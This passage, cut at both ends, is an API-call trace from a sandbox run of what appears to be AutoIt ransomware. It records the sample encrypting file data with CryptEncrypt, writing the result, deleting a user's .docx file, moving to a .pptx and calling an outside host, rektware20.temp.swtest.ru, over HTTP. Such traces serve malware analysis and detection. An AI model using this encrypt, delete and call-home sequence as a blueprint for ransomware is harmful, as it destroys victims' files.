wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.510] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.510] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.511] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.511] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16667, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16670) returned 1 [0070.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.511] CharLowerBuffW (in: lpsz="byte[91761]", cchLength=0xb | out: lpsz="byte[91761]") returned 0xb [0070.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.513] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.513] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.513] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.514] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.514] CryptEncrypt (in: hKey=0x164c930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17fd7f8*, pdwDataLen=0x130e618*=0x16667, dwBufLen=0x16670 | out: pbData=0x17fd7f8*, pdwDataLen=0x130e618*=0x16670) returned 1 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.514] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.515] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.515] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.515] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.515] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.515] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.515] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.515] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.515] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.525] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d0b18*, nNumberOfBytesToWrite=0x16670, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesWritten=0x130f01c*=0x16670, lpOverlapped=0x0) returned 1 [0070.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.527] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.527] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.527] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.527] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.527] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.528] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.528] CryptDestroyKey (hKey=0x164c930) returned 1 [0070.528] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.528] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.528] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.528] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.528] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.529] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.529] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.529] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.529] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.529] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.529] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.529] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.529] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.529] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.529] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.530] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.530] CryptReleaseContext (hProv=0x17aa450, dwFlags=0x0) returned 1 [0070.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.530] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.530] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.530] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.530] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.530] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.530] CloseHandle (hObject=0x2ac) returned 1 [0070.534] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.534] CloseHandle (hObject=0x3bc) returned 1 [0070.537] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.538] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.538] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", lpFilePart=0x0) returned 0x36 [0070.538] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\kwtp se51grco0et_.docx")) returned 0x20 [0070.539] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0070.539] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\kwtp se51grco0et_.docx")) returned 1 [0070.541] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.541] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0070.541] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.541] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.541] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.541] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.541] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.541] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.542] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.542] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.542] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.542] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.542] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.542] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0070.542] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.542] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.542] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.543] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.543] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.543] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.543] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.544] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.544] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.544] CloseHandle (hObject=0x0) returned 0 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.544] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\L9PU4QOHdw7U.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.545] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 